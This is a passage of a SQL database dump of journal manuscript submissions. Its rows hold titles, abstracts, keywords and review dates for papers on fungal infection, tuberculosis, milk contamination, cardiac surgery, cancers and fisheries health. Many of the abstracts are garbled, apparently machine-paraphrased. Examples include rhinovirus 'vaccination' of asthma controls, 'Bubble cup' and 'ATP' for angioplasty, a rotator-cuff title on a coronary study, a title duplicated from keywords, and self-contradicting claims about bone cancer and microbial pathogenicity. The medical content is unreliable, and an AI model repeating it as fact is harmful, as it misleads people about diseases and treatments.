pose a global threat that is getting worse. In this article, we emphasize the significance of expanding and improving research to combat fungal infections and the consequences they can cause.\r\nIn immune-compliant hosts who are healthy, fungi rarely cause disease. Fungi enter the host system by accident or when immunologic defects or other debilitating conditions encourage fungal entry and growth.\r\n','Candida; resistance; antifungals; yeast; Fungal infections; Pathology; Histopathology diagnosis; Tissues and vessels; Histopathology specimen',782,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-03-25',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13564,13725,251,0,'ipacm-23-13564','Health Impacts and Mycobacterium tuberculosis Pathogenesis',NULL,5,0,'','One of the earliest known human diseases is tuberculosis. Despite the fact that it still accounts for two million deaths annually, it remains one of the leading causes of death. Although Mycobacterium tuberculosis is spread via aerosol droplets deposited on the alveolar surfaces of the lungs, the primary manifestation of TB is pulmonary disease, which affects bone, the nervous system, and many other organ systems. From this point on, the disease can progress in a number of different directions, most of which are determined by how the immune system of the host responds. Extrinsic factors, such as insults to the immune system and the host\'s nutritional and physiological state, as well as intrinsic factors, such as the immune system\'s genetics, influence this response\'s efficacy. Since some M. tuberculosis strains are said to be more virulent than others, as measured by increased transmissibility and a higher incidence of both morbidity and mortality in infected individuals, the pathogen may also play a role in disease progression. There is more TB than ever before, necessitating the development of new vaccines and drugs as well as more precise and speedy diagnostics, despite the widespread use of several antibiotics and an attenuated live vaccine. In order to identify M. tuberculosis targets that will aid in the development of these urgently required anti-tubercular agents, researchers are utilizing information gleaned from the complete sequence of the M. tuberculosis genome as well as new genetic and physiological techniques. Emerging pathogens known as environmental mycobacteria are responsible for opportunistic infections in both animals and humans. Human-mycobacterial interactions have a wide range of health effects that are likely much more complex than currently understood. Municipal water contains environmental mycobacteria that preferentially survive chlorination and use it as a vector to infect humans. Boundless chlorination of water has likely chosen more safe ecological mycobacteria species and possibly makes sense of the shift from M. scrofulaceum to M. avium as a reason for cervical lymphadenitis in kids. As a result, mycobacterial ecology has been impacted by human activity. Despite the fact that environmental mycobacteria\'s unique cell wall architecture confers high biocide and antibiotic resistance and their hydrophobicity facilitates nutrient acquisition, biofilm formation, and aerosolization, environmental mycobacteria\'s slow growth and hydrophobicity appear to be disadvantages. Environmental mycobacteria are major human pathogens due to their remarkable stress tolerance. Mycobacteria from the environment invade protozoa and exhibit parasitic and symbiotic relationships. Animals\' molecular mechanisms for mycobacterial intracellular pathogenesis likely originated from protozoan survival mechanisms. Environmental mycobacteria may also play a role in allergies, chronic bowl diseases, immunity to other pulmonary infections, and the effectiveness of the Calmette-Guerin vaccine.','Mycobacterium tuberculosis; Pathogens; Immune system; Organ systems; Vaccination',777,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-03-20',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13565,13726,251,0,'ipacm-23-13565','The Role of Microbes: MicroRNA Elements in light of Rhinovirus Challenge in Asthma Investigation',NULL,5,0,'','In this review, we described the transient behavior of flowing exosomal micro a longitudinal bi-phasic case-control study of mild asthmatics and matched non-atopic sound controls vaccinated with rhinovirus. Asthma side effects are frequently exacerbated by the normal cold-causing rhinovirus. Time series grouping distinguished an exceptional group of upregulated genes associated with expanding mean articulation and an exceptional group of downregulated genes associated with decreasing mean articulation in asthmatic subjects when they were challenged. We anticipated defining clinical and immunologic characteristics associated with differentially communicated genes. Amazingly, key-target quality and antiviral protection systems of the Upregulated and Downregulated Bunches were identified by organization and quality improvement studies, while the Upregulated Group was associated with interleukin-instigated cytokines/chemokines and interleukin-Instigated cytokine, pneumonic capability estimations, and fiery biomarkers. Our findings shed light on the administrative tasks associated with triggered asthma.\r\nWe have forgotten about the negative effects that microbes have on our existence because infectious disease death rates have dropped to such low levels. We actually inhabit a microbial world. In contrast, the total number of prokaryotes and viruses has been estimated to be 1030 and 1031, respectively, despite the fact that there are currently less than 7 billion people. Humans are outnumbered by more than 1021 to 1, even when other microbes are taken into account. Although over 1400 microbial species have been shown to be pathogenic, none of these microorganisms pose a threat to human health.\r\n','MicroRNA; Exosome; Rhinovirus; Human health; Infectious diseases',785,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-03-20',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13567,13728,45,0,'iphsj-23-13567','Evaluation of bacteriological quality of milk sold in new, Nigeria',NULL,19,0,'','Introduction: Contamination of milk products can result to severe intestinal and extra-intestinal diseases in man. This study was aimed at evaluating the bacteriological quality of various milk products sold in Nnewi.  \r\nMaterials and Methods: Using the Cluster sampling technique, 30 milk samples (5 pasteurized skimmed milk, 5 powdered infant milk formulas, 5 powdered milk, 5 unsweetened evaporated milk, 5 branded soya milk and 5 unbranded soya milk) were purchased randomly from different shops and hawkers around Nnewi. Sample processing was done by serially diluting samples in sterile 1% peptone water before plating onto Mannitol Salt Agar, Violet Red Bile Glucose Agar, Blood Agar, MacConkey and Cysteine Lactose Electrolyte Deficient (CLED) agar using the Pour-plate technique. Bacterial count and identification were done using standard bacteriological as well as molecular techniques.  The molecular techniques used were Polymerase Chain Reaction, Sanger Sequencing and BLAST analysis on the NCBI BLAST online.\r\nResults: This showed that 15 (50%) out of 30 milk samples were contaminated to varying degrees with bacteria. Nine (9) samples showed the presence of Escherichia coli with 32.14% of all the milk samples tested. E. coli was present in skimmed milk (20%), evaporated milk (20%), branded soya milk (40%) and unbranded soyamilk (100%) but was not isolated from Infant formula and Powder milk. Klebsiella spp. showed the second highest prevalence (28.57%) and was present in evaporated milk (20%), branded Soyamilk (40%), unbranded soyamilk (100%). Salmonella spp. (3.57%) was isolated from unbranded soyamilk, Enterobacter spp. (14.29%) was isolated from powder milk and in unbranded soyamilk samples, Staphylococcus aureus (3.57%) and Staphylococcus epidermidis (3.57%) were isolated only in unbranded soyamilk, Macrococcus caseolyticus (3.57%) was isolated from unbranded soyamilk. Novel species such as Aquitalea magnusonii (3.57%), Alishewanella fetalis (3.57%) and Lysinibacillus macroides (3.57%) were identified by molecular analysis to be present in infant formula, evaporated milk and unbranded soyamilk respectively. \r\nConclusion: This research revealed that the bacteriological quality of some milk and milk products sold in Nnewi is not acceptable especially the unbranded soyamilk samples that showed gross contamination.','Soymilk, Quality, Microorganisms',4076,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-03-25',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13568,13729,326,0,'IPJUS-23-13568','The role of Acu-TENS in hemodynamic recovery after open heart surgery',NULL,5,0,'','Increased heart rate (HR) and decreased blood pressure (BP) are common consequences of heart surgery. This study investigates the effects of transdermal electrical nerve stimulation applied to acupuncture points (Acu-TENS) on heart rate, blood pressure, pressure product (PPR), and nausea and vomiting indices. after open heart surgery. After open-heart surgery, 40 patients were randomly assigned to the Acu-TENS group, receiving 40-minute TENS with bilateral application to the PC6 acupoint on postoperative days 1 to 5, or to the Placebo-TENS group. , treated with TENS. The electrode placement is identical but there is no electrical output from the TENS device, even though the output light is activated. Heart rate, systolic and diastolic blood pressure (SBP and DBP) were recorded and RPP calculated. Symptoms of nausea and vomiting were quantified using a 4-point Likert scale before and after TENS intervention. Data on heart rate, blood pressure, and daily antiemetic administration were recorded for another 20 consecutive subjects who received no intervention and established a control group. A trend toward decreased heart rate and increased blood pressure in the Acu-TENS group was observed at 5 postoperative days, with all variables returning to preoperative values on day 4 (P > 0.2). In the placebo-TENS and control groups, HR was still higher (P < 0.0001), BP was lower (P < 0.05) and RPP higher (P = 0.01) compared with the respective values. preoperatively on day 4. The required dose of Maxolone was the lowest in the Acu-TENS group (P=0.038). We conclude that Acu-TENS facilitated early return to preoperative values of BP, HR and PPR in patients after acute cardiac surgery. Increased heart rate (HR) is a normal sympathetic response to bodily injury and is a common consequence of major surgical procedures [1]. Any reduction in cardiac contractility and/or disruption of peripheral vascular control can lead to hypotension in the postoperative period [2]. Altered reflex activity of baroreceptors associated with vagal inhibition [3] and autonomic dysregulation [4] is also common in patients after cardiac surgery. High resting heart rate is associated with increased myocardial work [5], which may be detrimental to patients with a marginal myocardial oxygen supply. Regulating the heart rate can be accomplished through pharmacological intervention, but it can also be accompanied by adverse effects on the cardiovascular and other body systems [6].','hemodynamic, heart, systolic, pressure',5413,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-03-30',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13569,13729,326,0,'IPJUS-23-13569','Common iliac artery thrombosis after pelvic surgery leading to allogeneic kidney transplant failure with percutaneous angioplasty balloon dilatable stent',NULL,5,0,'','A 66-year-old woman with end-stage renal disease in the setting of type 2 diabetes, hypertension, nephrolithiasis, and renal artery stenosis received a kidney transplant from a 7 year unrelated living donor. before. She also had a history of chronic obstructive pulmonary disease, coronary artery disease, heart failure with preserved left ventricular ejection fraction, and atrial fibrillation (administration of rivaroxaban, an orally active factor Xa inhibitor. oral) for which she underwent ablation and atrioventricular node placement. a permanent pacemaker. She has excessive uterine bleeding. Test results showed a mass in the pelvis and uterus filled with fluid. She underwent elective hysteroscopy with dilation and curettage, which revealed a pyometra. The surgical process was complicated by bleeding and perforation of the uterus, requiring a total hysterectomy in the abdomen and bilateral salpingo-oophorectomy. She lost 300 mL of blood and received 3.2 liters of crystalloids during surgery. No intraoperative hypotension was noted. Pulse was also palpable in both lower extremities before and after surgery. The patient had anuria in the immediate postoperative period and furosemide (40 mg) was administered intravenously with no response. The patient was intubated because of acute respiratory failure and persistent anuria.','iliac artery,  pelvic surgery, kidney',5413,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-03-30',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13570,13730,959,0,'ipacr-23-13570','Bone cancer is a metastatic disease',NULL,15,0,'','Every bone in the body can develop into bone cancer, but the pelvis or the long bones in the arms and legs are the most frequently affected. Less than 1% of all cancer cases are bone cancer, making it an uncommon disease. Bone tumours that are not malignant are really considerably more prevalent than those that are. Cancers that start in other parts of the body and spread (metastasize) to the bones are not included in the phrase \"bone cancer\". Instead, those malignancies are given names based on where they first manifested, such as bone metastasizing breast cancer. The most typical indication of bone cancer is pain in the vicinity of the tumour. The discomfort may not initially be constant at first. If you have a tumour in a leg bone, it could grow worse at night or when you utilise the bone, as when you walk. The discomfort may intensify with activities and become more consistent with time.','',5440,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-03-23',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13571,13729,326,0,'IPJUS-23-13571','Evaluation of percutaneous coronary angioplasty in hemodialysis fistula',NULL,5,0,'','The number of dialysis patients is increasing every year. In this review, we will evaluate the role of percutaneous angioplasty (PTA) in relation to arteriovenous fistula and graft potential. The main indication for P?? is >50% stenosis or lumen obstruction of the arteriovenous fistula and graft. It is usually performed under local anesthesia. The infection rate is as low as the number of complications. Fistulas can be used for dialysis during the day without a central venous catheter. Primary ventilation >50% in the first year while the main ventilation supported is 80-90% during the same period. The repeat PTA is as stable as the primary PTA. Early PTA carries the risk of requiring further intervention. Bubble cup can be used as a second line method. Stents and coated stents are retained to control complications and central venous stenosis with outflow. ATP is the treatment of choice for dialysis fistula stenosis or obstruction. Repeated ATP may be needed for better endurance. Drug elution balls may be the future of dialysis fistula ATP, but more trials are needed. Chronic renal failure (CRI) was defined as renal failure or glomerular filtration rate (GFR) < 60 ml/min/1.73 m2, regardless of cause, for at least three months [1]. Chronic renal failure is associated with adverse outcomes such as cardiovascular complications and premature death [2]. The end stage of CKD is renal failure (GFR < 15 ml/min/1.73 m2) [1].','percutaneous, coronary, angioplasty',5413,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-03-30',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13572,13731,959,0,'ipacr-23-13572','An Introduction to Immunotherapy in the Treatment of Brain Tumors',NULL,15,0,'','A relatively tiny portion of all malignancies in humans are brain cancers. The intricacy and importance of the brain\'s function, however, result in a high morbidity and death rate for malignancies of the brain. The cerebrospinal fluid and meninges surround the neurons, supporting or glial cells, cranial nerves, glands, and blood arteries that make up the human brain, which is enclosed in a solid skull vault. Each of these cellular components has the potential to become primary brain tumours with different subtypes and levels of aggressiveness. Secondary or metastatic brain malignancies are increasingly common as a result of better control of more common cancers such breast, lung, and colon. The biology of the malignancy is the primary determinant of the clinical consequences of a brain tumour. The tumor\'s location and its ability to receive treatment with little side effect come next. Size, vascularity, peri-tumoral edoema, and adverse effects of treatments on the nearby normal brain are other significant factors.','',5441,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-03-23',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13573,13729,326,0,'IPJUS-23-13573','Gynecological surgery during the COVID-19 pandemic: is global screening mandatory?',NULL,5,0,'','This study aimed to evaluate the results of universal preoperative screening for COVID-19 in gynecological cases operated during the outbreak at a tertiary care hospital in Bangkok, Thailand. Lan. A retrospective descriptive study was performed on all patients undergoing elective or emergency gynecological surgery during the pandemic period in Thailand (April 15 to June 5, 2020). Results of COVID-19 screening by symptom-based screening, risk-based screening, and RT-PCR for COVID-19 were collected from electronic medical records. Of the 129 patients who had undergone gynecological surgery, none had RT-PCR positive for COVID-19. Symptom-based screening found no symptomatic patients positive for COVID-19. Risk-based screening found 4 patients (3.1%) who were exposed to suspected or confirmed cases of COVID-19 and 4 patients (3.1%) who were healthcare workers . In summary, routine preoperative RT-PCR for COVID-19 may need to be reconsidered in asymptomatic individuals in a low-incidence country in a well-controlled COVID-19 situation. . Larger studies are needed to determine the benefit of universal COVID-19 testing before surgery.','Gynecological, surgery, COVID-19 pandemic',5413,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-03-30',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13574,13729,326,0,'IPJUS-23-13574','Prophylactic dexamethasone in pediatric open heart surgery PTX3 blood pentraxin elevations: Potential clinical significance',NULL,5,0,'','Administration of glucocorticoids before cardiopulmonary bypass (PCB) may reduce the systemic inflammatory response and improve clinical outcomes. Pentraxin long PTX3 is a novel inflammatory parameter that may play a cardioprotective role by modulating inflammation. 29 children undergoing open heart surgery were enrolled in the study. Fourteen children received dexamethasone (first dose 1.5 mg/kg IV or IM one day before surgery; second dose 1.5 mg/kg IV before initiating bypass surgery) and fifteen children were used as controls. Blood PTX3, short C-reactive protein (CRP), interleukin-1 receptor II (IL-1RII), fibrinogen, and partial thromboplastin time (PTT) were measured at different time points. PTX3 levels were significantly increased during CPB in both dexamethasone (+D) and dexamethasone (-D)-treated and non-dexamethasone (-D)-treated subjects, but were significantly higher in +D than in -D patients. . CRP levels were significantly increased in both +D and -D patients in the postoperative days, with values significantly higher in -D patients than in +D patients. Fibrinogen and PTT values were significantly higher in -D patients than in +D patients on the first postoperative day.','open heart surgery, clinical significance, Cardiovascular, elevations',5413,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-03-30',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13575,13732,959,0,'ipacr-23-13575','Metastatic tumors in the lungs',NULL,15,0,'','The term \"lung cancer\" refers to cancers that begin in the lungs, typically in the bronchi or bronchioles or small air sacs (alveoli). The location of the cancer\'s origin determines how it is commonly referred to (your healthcare professional may use the term \"cancer that is metastatic to your lungs\").','',5442,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-03-23',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13576,13729,326,0,'IPJUS-23-13576','Re-evaluating the value of innovative rotator cuff techniques in the modern era of angioplasty',NULL,5,0,'','Goal. To introduce a modified atherosclerotic ablation (RA) procedure and to study the early and medium-term outcomes of multivariate percutaneous coronary intervention (PCI) facilitating RA in a group Elderly patients have a higher cardiovascular risk. Background. Previous studies of RA outcomes have been limited to small sample sizes and low-risk populations. method. From January 2013 to November 2015, 1169 consecutive patients treated with modified RA-assisted PCI were retrospectively recruited, including new calcified lesions and restenosis in the stent. Patients were followed up regularly for at least 1 year. Major adverse cardiac events (MACEs) were analyzed for all participants according to different strategies. Cox regression analysis was performed to identify risk factors for the events. Result. The mean age of patients was 75 years, with 11.7% of patients on maintenance hemodialysis. Most lesions (99.9%) were complex (American Heart Association class B2/C) and 68.3% were treated with RA + drug-eluting stents (DES). Angiography was successful in 97.8% of cases, of which 1.7% (20/1169) cases of coronary perforation (including perforation of wires). The incidence of MACE was 20.5% and 26.8% at 1 year and 2 years of follow-up and was mainly due to target lesion revascularization (TLR) (10.3% and 12.5%, respectively) ). The RA + DES strategy had the lowest MACE at 2 years, compared with RA + drug-coated balloon and old RA + balloon angioplasty (14.5%, 30.5%, and 26.0%, respectively). Findings. The modified PR technique is a safe and effective tool in the modern PCI era, even in high-risk patients. TLR levels are relatively high but tolerable in these complex lesions.','angioplasty, innovative rotator, cuff techniques',5413,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-04-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13577,13729,326,0,'IPJUS-23-13577','Spontaneous coronary dissection: Optical coherence tomography “Live Flash” Angioplasty Guide',NULL,5,0,'','Optical coherence tomography (OCT) is a light-based imaging modality with great potential in coronary imaging. Spontaneous coronary artery dissection (SCAD) is a rare cause of acute coronary syndrome (ACS). The diagnosis of SCAD is made primarily by invasive coronary angiography, although additional imaging modalities such as CT angiography, IVUS, and OCT may enhance the diagnostic outcome. The authors describe the clinical case of a young woman hospitalized with a diagnosis of SCA. SCA-induced SCAD was detected in coronary angiography and OCT-guided angioplasty. The use of OCT in the context of SCAD has been described and the real innovation in this case is this unique use of OCT. Short and direct visual angioplasty guidance is very useful because it allows the location of the guide wires to be clearly determined at all times without the need for a large amount of contrast medium.','coronary dissection, Optical coherence tomography, Angioplasty',5413,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-04-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13578,13733,959,0,'ipacr-23-13578','Urothelial carcinoma ',NULL,25,0,'','When healthy cells in the bladder lining—most frequently urothelial cells—change and expand uncontrollably, forming a mass known as a tumour, bladder cancer develops. The renal pelvis, ureters, and urethra are all lined with urothelial cells. Another form of urothelial cancer, known as upper tract urothelial carcinoma, is cancer that originates in the renal pelvis and ureters. This guide describes how it is typically treated, which is quite similar to how bladder cancer is treated. A tumour may be benign or malignant. Malignant refers to the ability of a cancerous tumour to develop and metastasize to different body regions. If a tumour is benign, it can enlarge but won\'t spread. Rarely do benign bladder tumours occur.','',5443,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-03-23',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13579,13729,326,0,'IPJUS-23-13579','Does Body Mass Index Important in Preoperative Evaluation of Patients Electing Gastrointestinal Surgery? ',NULL,5,0,'','Background. At Queen Elizabeth Hospital in Birmingham (QEHB), there is no specific procedure for stratifying patients by body mass index (BMI). This study aimed to evaluate the outcome after gastrointestinal surgery. method. Patients undergoing gastrointestinal surgery who attended the Pre-Assessment Screening (PAS) clinic from August to September 2016 at QEHB were identified. The primary outcome was postoperative complications. Secondary outcomes were major complications and 30-day readmission rates. Result. Of the 368 pre-evaluated patients, 31% (116/368) were overweight and 35% (130/368) were obese. Median age was 57 years (range: 17-93). There was no difference in BMI between low-risk and high-risk clinics. Patients in high-risk clinics have significantly higher morbidity, major surgical grade, and malignancy as an indication for surgery. The overall complication rate was 14% (52/368), of which 3% (10/368) had serious complications (Clavien-Dindo Grade III-IV). Although BMI was associated with comorbidities () and ASA level (), it was not associated with worse outcomes. Patients presenting to a high-risk clinic have a significantly higher rate of complications. Findings. The degree of surgery is considered an independent risk factor for complication rates. It is not reasonable to use BMI as an independent factor for the extent of prior assessment in our cohort.','Gastrointestinal Surgery, Preoperative, Does Body Mass Index',5413,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-04-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13580,13729,326,0,'IPJUS-23-13580','Lidocaine continuous incision in pediatric patients after open heart surgery',NULL,5,0,'','Continuous infusion of lidocaine through the incision has been suggested as adjunctive therapy in the management of postoperative pain in adult patients. The aim of this study was to determine the efficacy and safety of continuous subcutaneous infusion of lidocaine in pediatric patients following open-heart surgery. All patients who received a subcutaneous lidocaine infusion at the midline of the sternum incision after open heart surgery for 2 consecutive years were included in the study. A historical patient group was used as a control group. Demographic variables (age, height, and surgical procedure), variables related to sedation and analgesia (COMFORT and analgesia scale, drug dose and duration), and complications were analyzed. record. 106 patients in the lidocaine infusion group and 79 patients in the control group were included. Incisional analgesia was effective in treating pain by reducing the dose and duration of intravenous fentanyl administration (odds ratio (OR) 6.26, 95% confidence interval (CI): 2.48-15, 97, OR 4.30, 95% CI: 2.09-8.84 , , respectively). The reduction in fentanyl consumption was greater in children over two years of age. Adverse events were observed in three children (2.8%): all of them had decreased consciousness and one of them also had seizures. Two of these three patients had lidocaine levels above 2 mcg/mL. Continuous infusion of lidocaine into the incision is effective for the treatment of pain following open heart surgery. This procedure has reduced the need for intravenous analgesia in pediatric patients undergoing midsternal incision. Despite the low incidence of adverse events, neurological status and blood lidocaine levels should be monitored in all patients. Adequate postoperative analgesia is essential, especially after sternotomy in pediatric patients [1–5].','open heart surgery, Lidocaine, incision, pediatric patients',5413,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-04-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13581,13729,326,0,'IPJUS-23-13581','Unprotected left main angioplasty in the elderly at a High Flow Catheter Center without an on-site surgical facility: Immediate and intermediate results - The Old Placet Registry',NULL,5,0,'','Our objective was to evaluate the clinical feasibility and efficacy of unprotected left primary percutaneous coronary intervention (ULM) in patients over 75 years of age over a period of 6 years and at follow-up. A 2-year follow-up demonstrates that PCI is a viable revascularization strategy even in the absence of local cardiovascular support. However, the future of these high-risk patients remains hampered by reasonable in-hospital mortality. Older patients had a higher mortality at follow-up (10.0 vs 0.8%, P = 0.014), while younger patients had a lower mortality after the acute phase (15) ,7 vs. 8.4%, P = 0.15). The incidence of unprotected left coronary artery disease (ULM) during diagnostic coronary angiography varies from 4 to 7% [1] and increases with age [2, 3]. Even recent recommendations [4] consider coronary artery bypass grafting (CABG) as the preferred revascularization strategy for ULM, especially when distal bifurcation is involved and when distal bifurcation is involved. have disseminated multivessel coronary artery disease [5]. However, the clinical profile and especially age can significantly increase the risk of surgery [6] and thus, despite the encouraging results obtained in elective patients with arterial disease Coronary ULM treated with percutaneous coronary intervention (PCI) and drug-eluting stents (DES) [7–10], the outcome in the elderly with ULM (often excluded by randomized trials) is unclear. In this study, we specifically evaluated the feasibility and effectiveness of percutaneous ULM treatment of coronary artery disease in the elderly (over 75 years of age) in a group of patients referred to a medical center. There is no in situ cardiothoracic surgical management. competition for acute coronary insufficiency. syndrome (SCA). This is a spontaneous monocentric register; catheterization laboratory and general characteristics described elsewhere [11]. We retrospectively enrolled all patients with unprotected left coronary artery disease in acute coronary syndromes (ACS) competition treated with percutaneous angioplasty at our facility from January 2003 to January 2010; A dedicated database (Cardioplanet, EBIT-AE, IT) was used to collect clinical and procedural data and the clinical event committee (F. Tomassini and A. Gambino) was used to evaluate the endpoint. All angiograms were reviewed to assess primary ULM involvement and technical and procedural details. Due to the lack of on-site cardiothoracic surgery team in our facility, the decision to perform PCI instead of CABG depends primarily on the patient\'s hemodynamic stability, high surgical risk (eg, condition critical condition, EUROSCORE) and the technical feasibility of percutaneous surgery. procedure, therefore PCI was performed due to an unacceptable delay in accessing the nearest cardiac surgery department for emergency bypass surgery. Patients undergoing elective revascularization were excluded from the study because they were discussed with their cardiac surgeon and, in the absence of clinical or technical contraindications, were treated with CABG.','angioplasty, Catheter, intermediate, Old Placet Registry',5413,NULL,'2023-03-14',NULL,'Submitted',2,NULL,'2023-04-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13582,13734,959,0,'ipacr-23-13582','Gynecologic Oncology Fertility Sparing Options',NULL,15,0,'','When considered to be the optimal course of action for a certain cancer patient, fertility-sparing surgery protects the female body\'s potential to get pregnant. Women who want to keep their fertility intact and have a gynaecological cancer are increasingly being given fertility-sparing surgery (FSS). We analyse the most recent research on oncological and reproductive outcomes following FSS for early stage cervical cancer, epithelial ovarian cancer, and endometrial cancer in this systematic review. Recurrence rates following FSS are generally encouraging, and given the current patient selection of those with low-stage and low-grade cancer, these conservative treatments appear to be oncologically safe. Nevertheless, due to the methodology of the available research, i.e., largely retrospective cohort studies with a varied patient group, causing selection bias, generalised inferences should be taken with caution. Nevertheless, despite FSS, around 50% of patients choose not to become pregnant, and the causes of these choices are still poorly understood. International cooperation will make it easier to gather reliable data on FSS and the associated decision-making process to improve patient counselling and selection.','',5444,NULL,'2023-03-15',NULL,'Submitted',2,NULL,'2023-03-23',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13583,13736,639,0,'ipfs-23-13583','Fishery Health in the Face of Environmental Change',NULL,19,0,'','It is crucial to achieve sustainable development goals for the health of fishery workers in the face of climate change because of specific working environments. Fishery workers face a risky work environment that frequently results in specific injuries and fatalities. However, only a few studies have compared the health status of fishery workers with that of farmers and employed workers of similar socioeconomic status through long-term longitudinal follow-up. Methods: This retrospective cohort study made use of a subset of the Taiwan National Health Insurance Research Database called the Longitudinal Health Insurance Database 2000. Included were only employed workers, farmers, and fishery workers. Participants newly diagnosed with 18 diseases—cardiometabolic diseases, mental illness, chronic kidney disease, infection, and malignancy—were included based on the majority of causes of death and related diseases. Participants who had been diagnosed with these diseases in the past were left out. From the first day of the study, July 1, 2000, to the date of diagnosis and withdrawal, or December 31, 2012, whichever came first, all included participants were followed up. We used the Cox model to investigate the health status of the participants in a cohort study that was propensity score-matched due to the significant difference in the baseline demographics. Results: In the wake of coordinating, there were unimportant contrasts in the pattern socioeconomics of fishery laborers, ranchers, and utilized specialists. Fishermen were more likely than farmers and employed workers to be diagnosed with 11 and 14 diseases, including hypertension (hazard ratio [HR]: Diabetes (HR: 1.11, p  0.01), Dyslipidemia (HR: 1.21, p  0.001), and Depression (HR: 1.18, p  0.001), Peptic ulcer (HR: 1.38, p  0.001), 1.17, p  0.001), and chronic hepatitis caused by viruses (HR: Hepatocellular carcinoma (HR: 2.06, p  0.001), 1.67, p  0.001), as well as total cancer (HR: 1.26, p < 0.001). Conclusions: Fishery workers were more susceptible to cardiometabolic diseases, mental illness, infection, and malignancy than farmers and employed workers. As a result, in order to reduce health inequality, it is absolutely necessary to place a particular emphasis on health policies for fishermen, such as the provision of antiviral treatments that can cure the virus and the implementation of health promotion programs tailored to the culture.','fishery workers; propensity score-matched; Cox proportional hazard model; cardiometabolic diseases; chronic viral hepatitis',1776,NULL,'2023-03-15',NULL,'Submitted',2,NULL,'2023-03-23',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13584,13735,639,0,'ipfs-23-13584','fishery workers; propensity score-matched; Cox proportional hazard model; cardiometabolic diseases; chronic viral hepatitis',NULL,25,0,'','Nucleic acid, including DNA and RNA, released by organisms can be used to detect their presence in the environment. In a variety of fields, DNA/RNA methods are utilized to identify organisms from ice, water, air, and soil. The headway in innovation prompted simpler location of various organic entities without affecting the climate or the actual creature. These techniques are being used in a variety of fields, including conservation, history, and surveillance. DNA and RNA strategies are widely utilized in hydroponics and fisheries settings to grasp the presence of various fish species and microorganisms in water. In any case, there are a few difficulties related with the unwavering quality of results due to the corruption of nucleic corrosive by a few elements. These techniques have been used to find a number of parasites and diseases in aquaculture. We discuss the fate of these nucleic acids when subjected to various water quality and environmental parameters, as well as the various aquaculture diseases and parasites that were detected using the DNA/RNA approach, in this review. The purpose of this review is to assist the researcher in understanding the potential of DNA/RNA-based pathogen detection in aquaculture; Using this, a potential outbreak can be anticipated before it occurs. In addition, the purpose of this paper is to assist readers in comprehending a number of factors that degrade and may impede the detection of these nucleic acids.','DNA; RNA; fish disease; surveillance; hydrolysis; degradation',1777,NULL,'2023-03-15',NULL,'Submitted',2,NULL,'2023-04-17',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13585,13736,639,0,'ipfs-23-13585','In a Recognized Fisheries Managing and Advertising Region, Fresh Air Microorganisms',NULL,25,0,'','Fish is sold as food and consumed worldwide. During food production, microbial contamination can occur through air, soil, water, surfaces, and food handling. Although air does not have a natural microbial composition, it is a vector for microbial transmission of economic and health interest because it is implicated in food spoilage and human disease. It was a microbiological analysis of the air in Tepic Nayarit city, a popular area for processing and selling fish products. Proportions of aerobic mesophilic bacteria, coliforms, fungi, and yeasts were measured at various points in the field of fish processing and marketing using passive or sedimentation methods to collect airborne microorganisms. Results showed that aerobic mesophiles had the highest numbers among all microbial groups analyzed at 12 different sampling sites during the 4-week study. Their numbers ranged from 2.44 to 2.95 log CFU/m3/h, followed by molds with values from 1.44 to 2.75 log CFU/m3/h, yeast with values from. We determined the percentage of viable microbial populations in the air at different sampling sites in the study area. Several of these sampling sites exceeded levels recommended by various authorities around the world. Knowledge of airborne biological hazards is used to identify and mitigate risks to resident health and contamination pathways in processed and sold seafood that may be associated with spoilage and foodborne illness. It is important.','food safety; food quality; air pollution; airborne biohazard; environmental monitoring',1776,NULL,'2023-03-15',NULL,'Submitted',2,NULL,'2023-03-23',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13586,13735,639,0,'ipfs-23-13586','Listonella has been Determined Chemically in Natural Fish From the Ocean',NULL,19,0,'','Infectious diseases caused by marine bacterial pathogens are increasingly causing economic losses to fisheries and aquaculture, while posing increasing risks to public health and the protection of affected species. Four wild marine fish species were collected from five fishing grounds and 